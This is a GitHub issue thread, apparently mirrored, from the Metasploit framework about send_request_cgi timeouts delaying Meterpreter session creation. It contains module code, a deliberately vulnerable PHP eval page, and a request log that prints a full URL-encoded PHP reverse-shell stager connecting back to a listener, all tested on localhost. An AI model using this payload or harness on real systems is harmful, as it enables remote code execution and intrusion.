Metasploit-framework: `send_request_cgi` timeout delays the session creation when used to deliver the payload

Created on 24 Jun 2019  路  10Comments  路  Source: rapid7/metasploit-framework

Steps to reproduce

When using send_request_cgi to deliver payload.encoded the call hangs (since the payload is executed and does not return) so exploit() needs to wait the timeout (20s default) in order to terminate and allow to the meterpreter> shell to appear (even if the session is opened immediately).

I faced this issue in a module I'm writing, it's my first module actually so it's entirely possible that what I'm reporting is the desired behavior and I'm doing something wrong instead. But I feel I'm waiting the timeout unnecessarily here and it's pretty annoying. I know I can tune the timeout of send_request_cgi but that's not the point.

Follows a minimal example that reproduces the above:

  1. in one terminal run php -S 127.0.0.1:8080;

  2. in another run msfconsole -qr issue.rc.

Note how 1 is printed by the PHP server as soon as Meterpreter session 1 opened is printed by Metasploit, yet send_request_cgi must terminate with a timeout for the meterpreter> shell to appear.

Files

issue.rb (placed in ~/.msf4/modules/exploits/multi/http/):

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'          => 'test',
        'Platform'      => 'php',
        'Arch'          => ARCH_PHP,
        'Targets'       => [['Automatic', {}]],
        'DefaultTarget' => 0))
  end

  def exploit
    puts send_request_cgi(
      'method' => 'POST',
      'vars_post' => {
        'eval' => payload.encoded,
      }
    )
  end
end

issue.rc:

use exploit/multi/http/issue
set rhost 127.0.0.1
set rport 8080
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

index.php:

<?PHP
error_log("1");
eval($_POST['eval']);
error_log("2");

Expected behavior

The meterpreter> shell pops almost instantly.

Current behavior

The meterpreter> takes 20 seconds to show.

System stuff

Metasploit version

$ git log -1 --pretty=oneline
6a55227c56215a0582c6df790422316267813335 automatic module_metadata_base.json update

I installed Metasploit with:

  • [ ] Kali package via apt
  • [ ] Omnibus installer (nightly)
  • [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
  • [X] Source install (please specify ruby version)
$ ruby -v
ruby 2.6.2p47 (2019-03-13 revision 67232) [x86_64-linux]

OS

Debian GNU/Linux 9

question

All 10 comments

I know I can tune the timeout of send_request_cgi but that's not the point.

This is the suggestion I gave on IRC (a timeout of one second or less), and you said your exploit failed to get a session. Maybe the connection needs to stay open for a certain amount of time? There is an implied disconnect when the exploit finishes. You would know your target best.

https://github.com/rapid7/metasploit-framework/blob/6a55227c56215a0582c6df790422316267813335/modules/exploits/unix/webapp/jquery_file_upload.rb#L173-L178

This solution does work against your supplied test scenario in this issue.

Either way, as we've discussed, I've wanted to implement a true zero-second timeout for send_request_*. Currently, when a timeout value of 0 is supplied to send_request_*, it is sent directly to Timeout.timeout, where a value of 0 means "wait forever." Not usually what we want.

Even more confusingly, a timeout value of nil returns an unfilled Rex::Proto::Http::Response, but it does return immediately. This is the currently supported way of avoiding a wait time, but it does return a bogus response.

If you don't want to wait ANY time at all, not even a tenth of a second, and you don't care about the response (or expect it to be nil), hopefully the patch I'll submit will do what you want. Otherwise, there is something else going on with your exploit or target.

In the meantime, try setting the timeout to nil and not checking the response. The call should return immediately.

I'll try summarize my current solution according to what we've discussed on IRC.

Setting the send_request_cgi timeout to a very small value or even better to nil it actually returns the meterpreter shell immediately.

But while before (no timer specified) the server had about 20 + WfsDelay seconds to execute the payload, now it has about 0 + WfsDelay seconds to do that. This means that if the server for whatever reason is slow to execute the payload the exploit will fail: Exploit completed, but no session was created.. This can be tested by placing a sleep(5) for example at the beginning of the above index.php.

My current solution (also according to what @wvu-r7 suggested) is to set the send_request_cgi to nil AND set the WfsDelay to 20 (via 'DefaultOptions' => {'WfsDelay' => 20}). This in the end should be equivalent to the original test case (thus allowing up to about 20 seconds for the payload to be executed) but it should drop the meterpreter> shell as soon as the server executes the payload.

While this works it seems an hackish solution to me, this can't be the best practice for such a common scenario. Moreover (and I didn't extensively check this), most modules simply fire the send_request_cgi to deliver the payload so the 20 sec delay to interaction is a common thing apparently.

One workaround, on *nix systems, is to background the payload process with &. Works in most, but not all, situations; and most, but not all, cmd payloads.

Your current approach is consistent with other (most?) modules: set a low send_request_cgi timeout, with a high WfsDelay (25+ seconds).

In some instances, it's nice to wait for the server to reply, so we can parse and display the response for analysis, which is useful in the event the payload failed. If you don't care about the response, then a low send_request_cgi timeout is best.

so the 20 sec delay to interaction is a common thing apparently.

Yup. I usually hit ctrl+c once the shell comes though. Note that this approach may kill any module cleanup routines.

While this works it seems an hackish solution to me, this can't be the best practice for such a common scenario.

If you have a better idea, I'd love to hear it! Right now, I'm thinking a nil timeout shouldn't return a bogus response, and a timeout of 0 should be respected. I'll make those changes soon.

Also, I explained on IRC that you can tune WfsDelay dynamically by overriding the wfs_delay method with timing routines, but it may require an extra request in your scenario unless you execute non-blocking code in a POST. Oftentimes, it's easier to increase WfsDelay in the console or in the code. YMMV.

I shouldn't have to say it, but there is no one-size-fits-all in exploitation, and libraries shouldn't be designed for niche use cases. :-)

@wvu-r7

Right now, I'm thinking a nil timeout shouldn't return a bogus response, and a timeout of 0 should be respected. I'll make those changes soon.

Thanks for this!

I shouldn't have to say it, but there is no one-size-fits-all in exploitation

Of course, and I wanted to explain this verbosely for posterity... I got your point.

Anyway there are a number of modules that apparently make users routinely wait that 20 seconds, users notice the uselessness of the delay (they already have a session opened!) and employ (bad) workaround solutions like pressing ctrl+c as mentioned by @bcoles. On the other hand, I guess, module writers not always have the patience to go through all this, they just use vanilla send_request_cgi to deliver the payload.

and libraries shouldn't be designed for niche use cases. :-)

Well, IMHO for an exploitation framework delivering/triggering a payload via HTTP should not be a niche use case...

If you have a better idea, I'd love to hear it!

Don't get me wrong, I appreciate the work that you guys do to maintain Metasploit; I want to make sure that you understand that I'm not just ranting and requesting changes. Unfortunately I wrote my first module yesterday so I'm not be able to give specific suggestions about how to improve the internals.

Yeah, the unnecessary delay sucks. It actually took me a while to figure out why my PHP exploits were hanging. I started setting a low timeout after that, but this has bothered me long enough.

Another option is to have some sort of prepend stub that causes the payload to unblock in the server, but I haven't thought deeply on it. For command injection, we may background the command as per @bcoles' explanation.

https://github.com/rapid7/metasploit-framework/blob/6a55227c56215a0582c6df790422316267813335/modules/exploits/linux/http/axis_srv_parhand_rce.rb#L96-L117

Obviously, though, you're evaluating straight PHP, not injecting a command.

Well, IMHO for an exploitation framework delivering/triggering a payload via HTTP should not be a niche use case...

Oh, I'm saying it's an HTTP client library, not an execute-blocking-PHP library. That's all. There are many other exploits that don't involve this scenario, but I will admit this one's pretty common.

I shy away from changing protocol APIs to be less generic, and you can already write code to address your issues. But we certainly want to make the experience better! That's what I'm here for. :-)

Contrived example of dynamically calculating WfsDelay

<?PHP
sleep(5);
error_log("1");
eval($_POST['eval']);
error_log("2");
wvu@kharak:~/Downloads$ php -S 127.0.0.1:8080
PHP 7.1.23 Development Server started at Mon Jun 24 12:48:44 2019
Listening on http://127.0.0.1:8080
Document root is /Users/wvu/Downloads
Press Ctrl-C to quit.
[Mon Jun 24 12:50:08 2019] 1
[Mon Jun 24 12:50:08 2019] 2
[Mon Jun 24 12:50:08 2019] 127.0.0.1:53604 [200]: /
[Mon Jun 24 12:50:13 2019] 1
class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'          => 'test',
        'Platform'      => 'php',
        'Arch'          => ARCH_PHP,
        'Targets'       => [['Automatic', {}]],
        'DefaultTarget' => 0))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'vars_post' => {
        'eval' => payload.encoded,
      }
    }, nil)
  end

  def wfs_delay
    start = Time.now
    send_request_cgi
    stop = Time.now

    time = stop - start
    vprint_status("WfsDelay => #{time}")

    time
  end
end
msf5 exploit(multi/http/issue) > run

********************
####################
# Request:
####################
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded


####################
# Response:
####################
HTTP/1.1 200 OK
Host: 127.0.0.1:8080
Date: Mon, 24 Jun 2019 17:50:08 +0000
Connection: close
X-Powered-By: PHP/7.1.23
Content-type: text/html; charset=UTF-8


[*] WfsDelay => 5.007982
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
********************
####################
# Request:
####################
POST / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 2055

eval=/%2a%3c%3fphp%20/%2a%2a/%20error_reporting%280%29%3b%20%24ip%20%3d%20%27127.0.0.1%27%3b%20%24port%20%3d%204444%3b%20if%20%28%28%24f%20%3d%20%27stream_socket_client%27%29%20%26%26%20is_callable%28%24f%29%29%20%7b%20%24s%20%3d%20%24f%28%22tcp%3a//%7b%24ip%7d%3a%7b%24port%7d%22%29%3b%20%24s_type%20%3d%20%27stream%27%3b%20%7d%20if%20%28%21%24s%20%26%26%20%28%24f%20%3d%20%27fsockopen%27%29%20%26%26%20is_callable%28%24f%29%29%20%7b%20%24s%20%3d%20%24f%28%24ip%2c%20%24port%29%3b%20%24s_type%20%3d%20%27stream%27%3b%20%7d%20if%20%28%21%24s%20%26%26%20%28%24f%20%3d%20%27socket_create%27%29%20%26%26%20is_callable%28%24f%29%29%20%7b%20%24s%20%3d%20%24f%28AF_INET%2c%20SOCK_STREAM%2c%20SOL_TCP%29%3b%20%24res%20%3d%20%40socket_connect%28%24s%2c%20%24ip%2c%20%24port%29%3b%20if%20%28%21%24res%29%20%7b%20die%28%29%3b%20%7d%20%24s_type%20%3d%20%27socket%27%3b%20%7d%20if%20%28%21%24s_type%29%20%7b%20die%28%27no%20socket%20funcs%27%29%3b%20%7d%20if%20%28%21%24s%29%20%7b%20die%28%27no%20socket%27%29%3b%20%7d%20switch%20%28%24s_type%29%20%7b%20case%20%27stream%27%3a%20%24len%20%3d%20fread%28%24s%2c%204%29%3b%20break%3b%20case%20%27socket%27%3a%20%24len%20%3d%20socket_read%28%24s%2c%204%29%3b%20break%3b%20%7d%20if%20%28%21%24len%29%20%7b%20die%28%29%3b%20%7d%20%24a%20%3d%20unpack%28%22Nlen%22%2c%20%24len%29%3b%20%24len%20%3d%20%24a%5b%27len%27%5d%3b%20%24b%20%3d%20%27%27%3b%20while%20%28strlen%28%24b%29%20%3c%20%24len%29%20%7b%20switch%20%28%24s_type%29%20%7b%20case%20%27stream%27%3a%20%24b%20.%3d%20fread%28%24s%2c%20%24len-strlen%28%24b%29%29%3b%20break%3b%20case%20%27socket%27%3a%20%24b%20.%3d%20socket_read%28%24s%2c%20%24len-strlen%28%24b%29%29%3b%20break%3b%20%7d%20%7d%20%24GLOBALS%5b%27msgsock%27%5d%20%3d%20%24s%3b%20%24GLOBALS%5b%27msgsock_type%27%5d%20%3d%20%24s_type%3b%20if%20%28extension_loaded%28%27suhosin%27%29%20%26%26%20ini_get%28%27suhosin.executor.disable_eval%27%29%29%20%7b%20%24suhosin_bypass%3dcreate_function%28%27%27%2c%20%24b%29%3b%20%24suhosin_bypass%28%29%3b%20%7d%20else%20%7b%20eval%28%24b%29%3b%20%7d%20die%28%29%3b
####################
# Response:
####################
HTTP/1.1 200 OK


[*] Sending stage (38247 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:53606) at 2019-06-24 12:50:13 -0500

meterpreter >

Note that the payload has its own WfsDelay of 2 seconds by default, which makes for ~5 + 2 instead of 0 + 2.

On the other hand, I guess, module writers not always have the patience to go through all this, they just use vanilla send_request_cgi to deliver the payload.

I think you're absolutely right about this. Normally, we DO want a response from send_request_*, and having a timeout is a safeguard, but in some cases, we don't want to wait for a response that'll never happen.

I think few module devs address that finer point. It's fantastic that you did so in your first module, but I think most folks don't tune that stuff!

P.S. I never got a chance to say how much I love the GTFOBins project! Thank you for the curation!

P.S. I never got a chance to say how much I love the GTFOBins project! Thank you for the curation!

So glad to hear that, thank you! :)


I come up with another solution:

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'           => 'test',
        'Platform'       => 'php',
        'Arch'           => ARCH_PHP,
        'Targets'        => [['Automatic', {}]],
        'DefaultTarget'  => 0))
  end

  def send_final_request_cgi(opts)
    t = framework.threads.spawn(nil, false) {
      send_request_cgi(opts)
    }
    while t.alive? and not session_created?
      Rex::ThreadSafe.sleep(0.1)
    end
    session_created?
  end

  def exploit
    send_final_request_cgi(
      'method' => 'POST',
      'vars_post' => {
        'eval' => payload.encoded
      }
    )
  end
end

This works pretty well as it leaves all the timeouts and delays as they are plus it provides a way to check the success of the payload.

Ideally it would be better to use async I/O + Rex::ThreadSafe.select(...) and avoid spawning a new thread but I don't know how to set the underlying socket to non-blocking mode.

What do you think?

I think that's a fine solution so long as you're not leaking any threads or sockets, but it's a little overkill for this particular use case.

I think it would be more useful to create an asynchronous request/response API. Otherwise, I'd rather just set a zero timeout and fire and forget if I don't get a response or don't care about it.

It's all code at the end of the day. Use what works for you! I would be happy to help with a true async implementation, as precarious as threading is in Framework. :)

Was this page helpful?
0 / 5 - 0 ratings

Related issues

adrianmihalko picture adrianmihalko  路  3Comments

XSecr3t picture XSecr3t  路  3Comments

felipee07 picture felipee07  路  3Comments

Sonya2010 picture Sonya2010  路  3Comments

wvu-r7 picture wvu-r7  路  3Comments